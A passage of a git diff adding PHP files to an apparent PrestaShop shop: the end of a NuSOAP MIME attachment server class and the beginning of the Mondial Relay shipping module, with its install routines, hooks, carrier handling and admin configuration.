@access public + */ + function getAttachments() { + return $this->requestAttachments; + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + if (count($this->responseAttachments) > 0) { + $params['content_type'] = 'multipart/related; type="text/xml"'; + $mimeMessage = new Mail_mimePart('', $params); + unset($params); + + $params['content_type'] = 'text/xml'; + $params['encoding'] = '8bit'; + $params['charset'] = $this->soap_defencoding; + $mimeMessage->addSubpart($soapmsg, $params); + + foreach ($this->responseAttachments as $att) { + unset($params); + + $params['content_type'] = $att['contenttype']; + $params['encoding'] = 'base64'; + $params['disposition'] = 'attachment'; + $params['dfilename'] = $att['filename']; + $params['cid'] = $att['cid']; + + if ($att['data'] == '' && $att['filename'] <> '') { + if ($fd = fopen($att['filename'], 'rb')) { + $data = fread($fd, filesize($att['filename'])); + fclose($fd); + } else { + $data = ''; + } + $mimeMessage->addSubpart($data, $params); + } else { + $mimeMessage->addSubpart($att['data'], $params); + } + } + + $output = $mimeMessage->encode(); + $mimeHeaders = $output['headers']; + + foreach ($mimeHeaders as $k => $v) { + $this->debug("MIME header $k: $v"); + if (strtolower($k) == 'content-type') { + // PHP header() seems to strip leading whitespace starting + // the second line, so force everything to one line + $this->mimeContentType = str_replace("\r\n", " ", $v); + } + } + + return $output['body']; + } + + return parent::getHTTPBody($soapmsg); + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + if (count($this->responseAttachments) > 0) { + return $this->mimeContentType; + } + return parent::getHTTPContentType(); + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + if (count($this->responseAttachments) > 0) { + return false; + } + return parent::getHTTPContentTypeCharset(); + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); + $this->requestAttachments = array(); + if (strstr($headers['content-type'], 'multipart/related')) { + $this->debug('Decode multipart/related'); + $input = ''; + foreach ($headers as $k => $v) { + $input .= "$k: $v\r\n"; + } + $params['input'] = $input . "\r\n" . $data; + $params['include_bodies'] = true; + $params['decode_bodies'] = true; + $params['decode_headers'] = true; + + $structure = Mail_mimeDecode::decode($params); + + foreach ($structure->parts as $part) { + if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { + $this->debug('Have root part of type ' . $part->headers['content-type']); + $return = parent::parseRequest($part->headers, $part->body); + } else { + $this->debug('Have an attachment of type ' . $part->headers['content-type']); + $info['data'] = $part->body; + $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; + $info['contenttype'] = $part->headers['content-type']; + $info['cid'] = $part->headers['content-id']; + $this->requestAttachments[] = $info; + } + } + + if (isset($return)) { + return $return; + } + + $this->setError('No root part found in multipart/related content'); + return; + } + $this->debug('Not multipart/related'); + return parent::parseRequest($headers, $data); + } +} + +/* + * For backwards compatiblity + */ +class nusoapservermime extends nusoap_server_mime { +} + +?> diff --git a/modules/mondialrelay/logo.gif b/modules/mondialrelay/logo.gif new file mode 100755 index 0000000..06f8471 Binary files /dev/null and b/modules/mondialrelay/logo.gif differ diff --git a/modules/mondialrelay/logo.png b/modules/mondialrelay/logo.png new file mode 100755 index 0000000..56a3ec7 Binary files /dev/null and b/modules/mondialrelay/logo.png differ diff --git a/modules/mondialrelay/logo_hd.png b/modules/mondialrelay/logo_hd.png new file mode 100755 index 0000000..f6464ad Binary files /dev/null and b/modules/mondialrelay/logo_hd.png differ diff --git a/modules/mondialrelay/mondialrelay.php b/modules/mondialrelay/mondialrelay.php new file mode 100755 index 0000000..afec88f --- /dev/null +++ b/modules/mondialrelay/mondialrelay.php @@ -0,0 +1,1188 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +require_once(_PS_MODULE_DIR_.'mondialrelay/classes/MRTools.php'); + +class MondialRelay extends Module +{ + const INSTALL_SQL_FILE = 'sql/mrInstall.sql'; + + private $_postErrors; + + public static $modulePath = ''; + public static $moduleURL = ''; + static public $MRFrontToken = ''; + static public $MRBackToken = ''; + + // Added for 1.3 compatibility + const ONLY_PRODUCTS = 1; + const ONLY_DISCOUNTS = 2; + const BOTH = 3; + const BOTH_WITHOUT_SHIPPING = 4; + const ONLY_SHIPPING = 5; + const ONLY_WRAPPING = 6; + const ONLY_PRODUCTS_WITHOUT_SHIPPING = 7; + + // SQL FILTER ORDER + const NO_FILTER = 0; + const WITHOUT_HOME_DELIVERY = 1; + + // Contains the details of the current shop used + public $account_shop = array( + 'MR_ENSEIGNE_WEBSERVICE' => '', + 'MR_CODE_MARQUE' => '', + 'MR_KEY_WEBSERVICE' => '', + 'MR_LANGUAGE' => '', + 'MR_WEIGHT_COEFFICIENT' => '', + 'MR_ORDER_STATE' => 3, + 'id_shop' => 1 + ); + + public $upgrade_detail = array(); + + public function __construct() + { + $this->name = 'mondialrelay'; + $this->tab = 'shipping_logistics'; + $this->version = '1.8.9'; + $this->installed_version = ''; + $this->module_key = '366584e511d311cfaa899fc2d9ec1bd0'; + $this->author = 'PrestaShop'; + + parent::__construct(); + + $this->displayName = $this->l('Mondial Relay'); + $this->description = $this->l('Deliver in Relay points'); + + /** Backward compatibility */ + require(_PS_MODULE_DIR_.'/mondialrelay/backward_compatibility/backward.php'); + + self::initModuleAccess(); + + // Call everytime to prevent the change of the module by a recent one + $this->_updateProcess(); + $this->initAccount(); + + // Check if it's a mondialrelay ajax query + $this->checkAJAX(); + } + + public function install() + { + if (!parent::install()) + return false; + + if (!$this->registerHookByVersion()) + return false; + + if ((!file_exists(MondialRelay::$modulePath.MondialRelay::INSTALL_SQL_FILE)) || + (!$sql = file_get_contents(MondialRelay::$modulePath.MondialRelay::INSTALL_SQL_FILE))) + return false; + + $sql = str_replace('PREFIX_', _DB_PREFIX_, $sql); + $sql = preg_split("/;\s*[\r\n]+/", $sql); + foreach($sql AS $k => $query) + if (!empty($query)) + Db::getInstance()->execute(trim($query)); + + $result = Db::getInstance()->getRow(' + SELECT id_tab + FROM `' . _DB_PREFIX_ . 'tab` + WHERE class_name="AdminMondialRelay"'); + + if (!$result) + { + $tab = new Tab(); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + $tab->name[$language['id_lang']] = 'Mondial Relay'; + $tab->class_name = 'AdminMondialRelay'; + $tab->module = 'mondialrelay'; + $tab->id_parent = Tab::getIdFromClassName('AdminOrders'); + + if (!$tab->add()) + return false; + + if (is_dir(_PS_MODULE_DIR_.'mondialrelay/')) + @copy(_PS_MODULE_DIR_.'mondialrelay/AdminMondialRelay.gif', _PS_IMG_DIR_.'/AdminMondialRelay.gif'); + } + + // If module isn't installed, set default value + if (!Configuration::get('MONDIAL_RELAY')) + { + Configuration::updateValue('MONDIAL_RELAY', $this->version); + Configuration::updateValue('MONDIAL_RELAY_SECURE_KEY', md5(time().rand(0,10))); + } + else + { + $query = 'UPDATE `'._DB_PREFIX_.'carrier` c, `'._DB_PREFIX_.'mr_method` m + SET c.`deleted` = 0 + WHERE c.`id_carrier` = m.`id_carrier` + AND m.`is_deleted` = 0'; + + // Reactive transport if database wasn't remove at the last uninstall + Db::getInstance()->execute($query); + } + return true; + } + + /* + ** Return the token depend of the type + */ + static public function getToken($type = 'front') + { + return ($type == 'front') ? MondialRelay::$MRFrontToken : (($type == 'back') ? + MondialRelay::$MRBackToken : NULL); + } + + /* + ** Register hook depending of the Prestashop version used + */ + private function registerHookByVersion() + { + if (_PS_VERSION_ >= '1.3' && + (!$this->registerHook('extraCarrier') || + !$this->registerHook('updateCarrier') || + !$this->registerHook('newOrder') || + !$this->registerHook('BackOfficeHeader') || + !$this->registerHook('header'))) + return false; + + if (_PS_VERSION_ >= '1.4' && + (!$this->registerHook('processCarrier') || + !$this->registerHook('orderDetail') || + !$this->registerHook('orderDetailDisplayed') || + !$this->registerHook('paymentTop'))) + return false; + return true; + } + + public function uninstallCommonData() + { + // Tab uninstall + if (($id_tab = Tab::getIdFromClassName('AdminMondialRelay'))) + { + $tab = new Tab($id_tab); + $tab->delete(); + } + + if (!Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'carrier c, '._DB_PREFIX_.'mr_method m + SET c.`deleted` = 1 + WHERE c.`id_carrier` = m.`id_carrier`')) + return false; + + return true; + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + + // Uninstall data that doesn't need to be keep + if (!$this->uninstallCommonData()) + return false; + + if (Tools::getValue('keepDatabase')) + return true; + + Configuration::deleteByName('MR_ACCOUNT_DETAIL'); + + // Drop databases + if (!Db::getInstance()->execute(' + DROP TABLE + '._DB_PREFIX_ .'mr_history, + '._DB_PREFIX_ .'mr_method, + '._DB_PREFIX_ .'mr_selected, + '._DB_PREFIX_ .'mr_method_shop')) + { + // If drop failed, try to turn off the carriers + Db::getInstance()->execute(' + UPDATE '._DB_PREFIX_.'carrier c, '._DB_PREFIX_.'mr_method m + SET c.`deleted` = 1 + WHERE c.`id_carrier` = m.`id_carrier`'); + return false; + } + return true; + } + + /** + * Launch upgrade process for 1.3 and 1.4 + */ + public function runUpgrade() + { + // List of upgraded version existing + $files_version = array('1.8.0', '1.8.3'); + + $upgrade_path = dirname(__FILE__).'/upgrade/'; + if (_PS_VERSION_ < '1.5') + foreach ($files_version as $version) + { + $file = $upgrade_path.'install-'.$version.'.php'; + if ($this->installed_version < $version && file_exists($file)) + { + include_once($file); + call_user_func('upgrade_module_'.str_replace('.', '_', $version), $this); + } + } + } + + /* + ** UpdateProcess if merchant update the module without a + ** normal installation + */ + private function _updateProcess() + { + if (Module::isInstalled('mondialrelay') && + (($this->installed_version = Configuration::get('MONDIAL_RELAY')) || + $this->installed_version = Configuration::get('MONDIAL_RELAY_1_4')) + && $this->installed_version < $this->version) + $this->runUpgrade(); + } + + /* + ** Get the content to ask for a backup of the database + */ + private function askForBackup($href) + { + return 'return PS_MRObject.uninstall(\''.$href.'\');'; + } + + /* + ** OnClick for input fields under the module list fields action + */ + public function onclickOption($type, $href = false) + { + $content = ''; + + switch($type) + { + case 'desactive': + break; + case 'reset': + break; + case 'delete': + break; + case 'uninstall': + $content = $this->askForBackup($href); + break; + default: + } + return $content; + } + + /** + * Init the account_shop variable with the account detail for this shop + */ + public function initAccount() + { + // Get default value + $id_order_state = $this->account_shop['MR_ORDER_STATE']; + + if (($account_shop_stored = MondialRelay::getAccountDetail())) + $this->account_shop = $account_shop_stored; + + // Normally, this can't happen... + if (empty($this->account_shop['MR_ORDER_STATE'])) + $this->account_shop['MR_ORDER_STATE'] = $id_order_state; + } + + /* + ** Init the access directory module for URL and file system + ** Allow a compatibility for Presta < 1.4 + */ + public static function initModuleAccess() + { + MondialRelay::$modulePath = _PS_MODULE_DIR_. 'mondialrelay/'; + MondialRelay::$MRFrontToken = sha1('mr'._COOKIE_KEY_.'Front'); + MondialRelay::$MRBackToken = sha1('mr'._COOKIE_KEY_.'Back'); + MondialRelay::$moduleURL = __PS_BASE_URI__.'modules/mondialrelay/'; + } + + public function fetchTemplate($path, $name) + { + if (_PS_VERSION_ < '1.4') + $this->context->smarty->currentTemplate = $name; + + return $this->context->smarty->fetch(dirname(__FILE__).$path.$name.'.tpl'); + } + + public function hookNewOrder($params) + { + if (!MondialRelay::isMondialRelayCarrier($params['cart']->id_carrier)) + return; + + DB::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_selected` + SET `id_order` = '.(int)$params['order']->id.' + WHERE `id_cart` = '.(int)$params['cart']->id); + } + + public function hookBackOfficeHeader() + { + $overload_current_jquery = false; + if (Tools::getValue('tab') == 'AdminMondialRelay') + $overload_current_jquery = true; + + $this->context->smarty->assign(array( + 'MR_token' => MondialRelay::$MRBackToken, + 'MR_jQuery_overload_type' => true, + 'new_base_dir' => MondialRelay::$moduleURL, + 'MR_local_path' => MondialRelay::$modulePath, + 'MR_overload_current_jquery' => $overload_current_jquery, + 'MR_account_set' => MondialRelay::isAccountSet() + )); + return $this->fetchTemplate('/tpl/', 'bo-header'); + } + + public function hookOrderDetail($params) + { + if (!Mondialrelay::isMondialRelayCarrier($params['order']->id_carrier)) + return ; + + $order = $params['order']; + + if (!empty($order->shipping_number)) + $this->context->smarty->assign('followup', $this->get_followup($order->shipping_number)); + } + + public function hookOrderDetailDisplayed($params) + { + if (!Mondialrelay::isMondialRelayCarrier($params['order']->id_carrier)) + return ''; + + $res = Db::getInstance()->getRow(' + SELECT s.`MR_Selected_LgAdr1`, s.`MR_Selected_LgAdr2`, s.`MR_Selected_LgAdr3`, s.`MR_Selected_LgAdr4`, + s.`MR_Selected_CP`, s.`MR_Selected_Ville`, s.`MR_Selected_Pays`, s.`MR_Selected_Num`, s.`url_suivi` + FROM `'._DB_PREFIX_.'mr_selected` s + WHERE s.`id_cart` = '.$params['order']->id_cart); + + if ((!$res) OR ($res['MR_Selected_Num'] == 'LD1') OR ($res['MR_Selected_Num'] == 'LDS')) + return ''; + + $this->context->smarty->assign( + array( + 'mr_addr' => $res['MR_Selected_LgAdr1']. + ($res['MR_Selected_LgAdr1'] ? ' - ' : '').$res['MR_Selected_LgAdr2']. + ($res['MR_Selected_LgAdr2'] ? ' - ' : '').$res['MR_Selected_LgAdr3']. + ($res['MR_Selected_LgAdr3'] ? ' - ' : '').$res['MR_Selected_LgAdr4']. + ($res['MR_Selected_LgAdr4'] ? ' - ' : '').$res['MR_Selected_CP'].' '. + $res['MR_Selected_Ville'].' - '.$res['MR_Selected_Pays'], + 'mr_url' => $res['url_suivi'])); + + return $this->fetchTemplate('/tpl/', 'order_detail'); + } + + /* + ** Update the carrier id to use the new one if changed + */ + public function hookupdateCarrier($params) + { + if ($params['id_carrier'] != $params['carrier']->id) + { + // Get the old id_mr_method + $id_mr_method = Db::getInstance()->getValue(' + SELECT id_mr_method FROM `'._DB_PREFIX_.'mr_method` + WHERE id_carrier='. (int)$params['id_carrier']); + + // Insert new entry keeping the last one linked to the id_carrier + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method` + (name, country_list, col_mode, dlv_mode, insurance, id_carrier) + ( + SELECT + "'.pSQL($params['carrier']->name).'", + country_list, + col_mode, + dlv_mode, + insurance, + '.(int)$params['carrier']->id.' + FROM `'._DB_PREFIX_.'mr_method` + WHERE id_carrier ='.(int)$params['id_carrier'].')'; + Db::getInstance()->execute($query); + + // Do the same process for the multishop table + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) + ( + SELECT + '.(int)Db::getInstance()->INSERT_ID().', + id_shop + FROM `'._DB_PREFIX_.'mr_method_shop` + WHERE id_mr_method ='.(int)$id_mr_method.')'; + Db::getInstance()->execute($query); + + // Set the last mr_method to delete + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_method` SET `is_deleted` = 1 + WHERE `id_mr_method` = '.(int)$id_mr_method); + } + } + + /** + * Get a carrier list liable to the module + * + * @return array + */ + public function _getCarriers() + { + // Query don't use the external_module_name to keep the + // 1.3 compatibility + $query = ' + SELECT c.id_carrier, c.range_behavior, m.id_mr_method, + m.dlv_mode, cl.delay + FROM `'._DB_PREFIX_.'mr_method` m + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON c.`id_carrier` = m.`id_carrier` + LEFT JOIN `'._DB_PREFIX_.'carrier_lang` cl + ON c.`id_carrier` = cl.`id_carrier` + LEFT JOIN `'._DB_PREFIX_.'mr_method_shop` ms + ON m.`id_mr_method` = ms.`id_mr_method` + WHERE c.`deleted` = 0 + AND ms.`id_shop` = '.$this->account_shop['id_shop'] .' + AND cl.id_lang = '.$this->context->language->id .' + AND c.`active` = 1 + AND m.`is_deleted` = 0'; + + $carriers = Db::getInstance()->executeS($query); + + if (!is_array($carriers)) + $carriers = array(); + return $carriers; + } + + /** + * Get a specific method entry detail by a defined id_carrier + * + * @static + * @param $id_carrier + * @return array + */ + public static function getMethodByIdCarrier($id_carrier) + { + return Db::getInstance()->getRow(' + SELECT * FROM `'._DB_PREFIX_.'mr_method` m + WHERE m.`id_carrier` = '.(int)$id_carrier); + } + + /* + ** Added to be used properly with OPC + */ + public function hookDisplayMobileHeader($params) + { + if (!($file = basename(Tools::getValue('controller')))) + $file = str_replace('.php', '', basename($_SERVER['SCRIPT_NAME'])); + + if (in_array($file, array('order-opc', 'order', 'orderopc'))) + { + $this->context->smarty->assign( + array( + 'one_page_checkout' => (Configuration::get('PS_ORDER_PROCESS_TYPE') ? Configuration::get('PS_ORDER_PROCESS_TYPE') : 0), + 'warning_message' => $this->l('You need to select a dropp-off point before going to the next step.'), + 'new_base_dir' => MondialRelay::$moduleURL, + 'MR_local_path' => MondialRelay::$modulePath, + 'MRToken' => MondialRelay::$MRFrontToken, + 'MR_overload_current_jquery' => false + ) + ); + return $this->fetchTemplate('/tpl/', 'header'); + } + return ''; + } + + public function hookHeader($params) + { + if (!($file = basename(Tools::getValue('controller')))) + $file = str_replace('.php', '', basename($_SERVER['SCRIPT_NAME'])); + + if (in_array($file, array('order-opc', 'order', 'orderopc'))) + { + $this->context->smarty->assign( + array( + 'one_page_checkout' => (Configuration::get('PS_ORDER_PROCESS_TYPE') ? Configuration::get('PS_ORDER_PROCESS_TYPE') : 0), + 'warning_message' => $this->l('You need to select a dropp-off point before going to the next step.'), + 'new_base_dir' => MondialRelay::$moduleURL, + 'MR_local_path' => MondialRelay::$modulePath, + 'MRToken' => MondialRelay::$MRFrontToken, + 'MR_overload_current_jquery' => false + ) + ); + return $this->fetchTemplate('/tpl/', 'header'); + } + return ''; + } + + public function hookExtraCarrier($params) + { + // TODO : Makes it work with multi-shipping + if (!MondialRelay::isAccountSet()) + return ''; + + $id_carrier = false; + $preSelectedRelay = $this->getRelayPointSelected($this->context->cart->id); + $carriersList = MondialRelay::_getCarriers(); + $address = new Address($this->context->cart->id_address_delivery); + $id_zone = Address::getZoneById((int)($address->id)); + + // Check if the defined carrier are ok + foreach ($carriersList as $k => $row) + { + // For now works only with single shipping (>= 1.5 compatibility) + if (method_exists($this->context->cart, 'carrierIsSelected')) + if ($this->context->cart->carrierIsSelected($row['id_carrier'], $params['address']->id)) + $id_carrier = $row['id_carrier']; + + // Temporary carrier for some test + $carrier = new Carrier((int)($row['id_carrier'])); + if ((Configuration::get('PS_SHIPPING_METHOD') && $carrier->getMaxDeliveryPriceByWeight($id_zone) === false) || + (!Configuration::get('PS_SHIPPING_METHOD') && $carrier->getMaxDeliveryPriceByPrice($id_zone) === false)) + unset($carriersList[$k]); + else if ($row['range_behavior']) + { + // Get id zone + $id_zone = (isset($this->context->cart->id_address_delivery) && $this->context->cart->id_address_delivery) ? + Address::getZoneById((int)$this->context->cart->id_address_delivery) : + (int)$this->context->country->id_zone; + + if ((Configuration::get('PS_SHIPPING_METHOD') && (!Carrier::checkDeliveryPriceByWeight($row['id_carrier'], $this->context->cart->getTotalWeight(), $id_zone))) || + (!Configuration::get('PS_SHIPPING_METHOD') && + (!Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $this->context->cart->getOrderTotal(true, MondialRelay::BOTH_WITHOUT_SHIPPING), $id_zone, $this->context->cart->id_currency) || + !Carrier::checkDeliveryPriceByPrice($row['id_carrier'], $this->context->cart->getOrderTotal(true, MondialRelay::BOTH_WITHOUT_SHIPPING), $id_zone, $this->context->cart->id_currency)))) + unset($carriersList[$k]); + } + } + + $carrier = NULL; + + if (_PS_VERSION_ >= '1.5') + $id_carrier = (int)$this->context->cart->id_carrier; + + // if ($id_carrier && ($method = MondialRelay::getMethodByIdCarrier($id_carrier))) + // { + // $carrier = new Carrier((int)$id_carrier); + // // Add dynamically a new field + // $carrier->id_mr_method = $method['id_mr_method']; + // $carrier->mr_dlv_mode = $method['dlv_mode']; + // } + + if ($id_carrier) + { + $carrier = new Carrier(61); + // Add dynamically a new field + $carrier->id_mr_method = $method['id_mr_method']; + $carrier->mr_dlv_mode = $method['dlv_mode']; + } + + $this->context->smarty->assign( + array( + 'MR_Data'=> MRTools::jsonEncode( + array( + 'carrier_list' => $carriersList, + 'carrier' => $carrier, + 'PS_VERSION' => _PS_VERSION_, + 'pre_selected_relay' => isset($preSelectedRelay['MR_selected_num']) ? $preSelectedRelay['MR_selected_num'] : 0, + ) + ) + ) + ); + + return $this->fetchTemplate('/tpl/', 'checkout_process'); + } + + /** + * Return the detailed account + * + * @static + * @return mixed + */ + public static function getAccountDetail() + { + return unserialize(Configuration::get('MR_ACCOUNT_DETAIL')); + } + + /** + * Check if the account is set + * + * @static + * @return bool + */ + public static function isAccountSet() + { + $details = MondialRelay::getAccountDetail(); + + if (!$details || !count($details)) + return false; + + foreach($details as $name => $value) + if (empty($value)) + return false; + + return true; + } + + /** + * Check any submitted form + */ + private function _postValidation() + { + // Account settings form validation + if (Tools::isSubmit('submit_account_detail')) + { + if (Tools::getValue('MR_enseigne_webservice') == '' || !preg_match("#^[0-9A-Z]{2}[0-9A-Z ]{6}$#", Tools::getValue('MR_enseigne_webservice'))) + $this->_postErrors[] = $this->l('Invalid Enseigne'); + if (Tools::getValue('MR_code_marque') == '' || !preg_match("#^[0-9]{2}$#", Tools::getValue('MR_code_marque'))) + $this->_postErrors[] = $this->l('Invalid Mark code'); + if (Tools::getValue('MR_webservice_key') == '' || !preg_match("#^[0-9A-Za-z_\'., /\-]{2,32}$#", Tools::getValue('MR_webservice_key'))) + $this->_postErrors[] = $this->l('Invalid Webservice Key'); + if (Tools::getValue('MR_language') == '' || !preg_match("#^[A-Z]{2}$#", Tools::getValue('MR_language'))) + $this->_postErrors[] = $this->l('Invalid Language'); + if (!Tools::getValue('MR_weight_coefficient') OR !Validate::isInt(Tools::getValue('MR_weight_coefficient'))) + $this->_postErrors[] = $this->l('Invalid Weight Coefficient'); + } + + // Shipping form validation + else if (Tools::isSubmit('submitMethod')) + { + if (!preg_match("#^[0-9A-Za-z_\'., /\-]{2,32}$#", Tools::getValue('mr_Name'))) + $this->_postErrors[] = $this->l('Invalid carrier name'); + if (Tools::getValue('mr_ModeCol') != 'CCC') + $this->_postErrors[] = $this->l('Invalid Col mode'); + if (!preg_match("#^REL|24R|ESP|DRI|LDS|LDR|LD1$#", Tools::getValue('mr_ModeLiv'))) + $this->_postErrors[] = $this->l('Invalid delivery mode'); + if (!Validate::isInt(Tools::getValue('mr_ModeAss')) OR Tools::getValue('mr_ModeAss') > 5 OR Tools::getValue('mr_ModeAss') < 0) + $this->_postErrors[] = $this->l('Invalid Assurance mode'); + if (!Tools::getValue('mr_Pays_list')) + $this->_postErrors[] = $this->l('You must choose at least one delivery country.'); + } + + // Order state form validation + else if (Tools::isSubmit('submit_order_state')) + { + if (!Validate::isUnsignedInt(Tools::getValue('id_order_state'))) + $this->_postErrors[] = $this->l('Invalid order state'); + } + } + + /** + * Update account shop + * + * @return bool + */ + public function updateAccountShop() + { + return Configuration::updateValue('MR_ACCOUNT_DETAIL', serialize($this->account_shop)); + } + + /** + * Post process + * + * @return array + */ + private function _postProcess() + { + $post_action = array( + 'type' => Tools::getValue('MR_tab_name'), + 'message_success' => $this->l('Action Succeed'), + 'had_errors' => false + ); + + if (Tools::isSubmit('submit_account_detail')) + { + $this->account_shop = array( + 'MR_ENSEIGNE_WEBSERVICE' => Tools::getValue('MR_enseigne_webservice'), + 'MR_CODE_MARQUE' => Tools::getValue('MR_code_marque'), + 'MR_KEY_WEBSERVICE' => Tools::getValue('MR_webservice_key'), + 'MR_LANGUAGE' => Tools::getValue('MR_language'), + 'MR_ORDER_STATE' => $this->account_shop['MR_ORDER_STATE'], + 'MR_WEIGHT_COEFFICIENT' => Tools::getValue('MR_weight_coefficient'), + 'id_shop' => $this->context->shop->id + ); + + if ($this->updateAccountShop()) + $post_action['message_success'] = $this->l('Account detail has been updated'); + else + $this->_postErrors[] = $this->l('Cannot Update the account shop'); + } + + else if (Tools::isSubmit('submit_add_shipping')) + { + if (($result = $this->addShippingMethod())) + $post_action['message_success'] = $this->l('Shipping method has been added'); + } + + else if (Tools::isSubmit('submit_order_state')) + { + Configuration::updateValue('MONDIAL_RELAY_ORDER_STATE', Tools::getValue('id_order_state')); + $post_action['message_success'] = $this->l('Order state properly changed'); + } + + else if (($id_mr_method = Tools::getValue('delete_mr')) && $this->disableCarrier((int)$id_mr_method)) + $post_action['message_success'] = $this->l('Carrier has been deleted (disabled under the prestashop database)'); + + if (count($this->_postErrors)) + $post_action['had_errors'] = true; + + return $post_action; + } + + public function getContent() + { + $post_action = NULL; + if (!empty($_POST)) + { + $this->_postValidation(); + if (!sizeof($this->_postErrors)) + $post_action = $this->_postProcess(); + } + + $carriers_list = Db::getInstance()->executeS(' + SELECT m.* + FROM `'._DB_PREFIX_.'mr_method` m + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON (c.`id_carrier` = m.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'mr_method_shop` ms + ON ms.`id_mr_method` = m.`id_mr_method` + WHERE c.`deleted` = 0 AND ms.`id_shop` = '.(int)$this->account_shop['id_shop']); + + $controller = (_PS_VERSION_ < '1.5') ? 'AdminContact' : 'AdminStores'; + + // TODO : Fill an array with admi controller name + $this->context->smarty->assign(array( + 'MR_token_admin_performance' => Tools::getAdminToken('AdminPerformance'.(int)(Tab::getIdFromClassName('AdminPerformance')).(int)($this->context->cookie->id_employee)), + 'MR_token_admin_carriers' => Tools::getAdminToken('AdminCarriers'.(int)(Tab::getIdFromClassName('AdminCarriers')).(int)$this->context->employee->id), + 'MR_token_admin_contact' => array( + 'controller_name' => $controller, + 'token' => Tools::getAdminToken($controller.(int)(Tab::getIdFromClassName($controller)).(int)$this->context->employee->id)), + 'MR_token_admin_mondialrelay' => Tools::getAdminToken('AdminMondialRelay'.(int)(Tab::getIdFromClassName('AdminMondialRelay')).(int)$this->context->employee->id), + 'MR_token_admin_module' => Tools::getAdminToken('AdminModules'.(int)(Tab::getIdFromClassName('AdminModules')).(int)$this->context->employee->id), + 'MR_enseigne_webservice' => Tools::getValue('MR_enseigne_webservice') ? Tools::getValue('MR_enseigne_webservice') : $this->account_shop['MR_ENSEIGNE_WEBSERVICE'], + 'MR_code_marque' => Tools::getValue('MR_code_marque') ? Tools::getValue('MR_code_marque') : $this->account_shop['MR_CODE_MARQUE'], + 'MR_webservice_key' => Tools::getValue('MR_webservice_key') ? Tools::getValue('MR_webservice_key') : $this->account_shop['MR_KEY_WEBSERVICE'], + 'MR_available_languages' => Language::getLanguages(), + 'MR_selected_language' => $this->account_shop['MR_LANGUAGE'], + 'MR_weight_coefficient' => Tools::getValue('MR_weight_coefficient') ? Tools::getValue('MR_weight_coefficient') : $this->account_shop['MR_WEIGHT_COEFFICIENT'], + 'MR_PS_WEIGHT_UNIT' => Configuration::get('PS_WEIGHT_UNIT'), + 'MR_order_states_list' => OrderState::getOrderStates($this->context->language->id), + 'MR_MONDIAL_RELAY_ORDER_STATE' => Configuration::get('MONDIAL_RELAY_ORDER_STATE'), + 'MR_CRON_URL' => Tools::getHttpHost(true, true)._MODULE_DIR_.$this->name.'/cron.php?secure_key='.Configuration::get('MONDIAL_RELAY_SECURE_KEY'), + 'MR_name' => Tools::getValue('MR_name') ? Tools::getValue('MR_name') : '', + 'MR_carriers_list' => $carriers_list, + 'MR_error_list' => $this->_postErrors, + 'MR_form_action' => $post_action, + 'MR_PS_ADMIN_IMG_' => _PS_ADMIN_IMG_, + 'MR_tab_selected' => Tools::getValue('MR_tab_name') ? Tools::getValue('MR_tab_name') : (MondialRelay::isAccountSet() ? 'account_form' : 'info_form'), + 'MR_delay' => Tools::getValue('MR_delay') ? Tools::getValue('MR_delay') : '', + 'MR_local_path' => MondialRelay::$modulePath, + 'MR_upgrade_detail' => $this->upgrade_detail, + 'MR_unit_weight_used' => Configuration::get('PS_WEIGHT_UNIT'), + 'MR_account_set' => MondialRelay::isAccountSet(), + 'MR_base_dir' => MondialRelay::$moduleURL) + ); + return $this->fetchTemplate('/tpl/', 'configuration'); + } + + /** + * Add new carrier + * + * @param $name + * @param $delay + * @return bool|int + */ + private function addCarrier($name, $delay) + { + $ret = false; + + if (($carrier = new Carrier())) + { + $delay_lang = array(); + foreach (Language::getLanguages(false) as $lang) + $delay_lang[$lang['id_lang']] = $delay; + $carrier->name = $name; + $carrier->active = 1; + $carrier->range_behavior = 1; + $carrier->need_range = 1; + $carrier->external_module_name = 'mondialrelay'; + $carrier->shipping_method = 1; + $carrier->delay = $delay_lang; + $carrier->is_module = (_PS_VERSION_ < '1.4') ? 0 : 1; + + $ret = $carrier->add(); + } + return $ret ? $carrier->id : false; + } + + public function displayInfoByCart($id_cart) + { + $html = '

        '; + $simpleresul = Db::getInstance()->executeS(' + SELECT * FROM ' . _DB_PREFIX_ . 'mr_selected + WHERE id_cart='.(int)($id_cart)); + + if (trim($simpleresul[0]['exp_number']) != '0' && trim($simpleresul[0]['exp_number']) != null) + $html .= $this->l('Nb expedition:').$simpleresul[0]['exp_number']."
        "; + if (trim($simpleresul[0]['url_etiquette']) != '0' && trim($simpleresul[0]['url_etiquette']) != null) + $html .= "".$this->l('Label URL')."
        "; + if (trim($simpleresul[0]['url_suivi']) != '0' && trim($simpleresul[0]['url_suivi']) != null) + $html .= "".$this->l('Follow-up URL')."
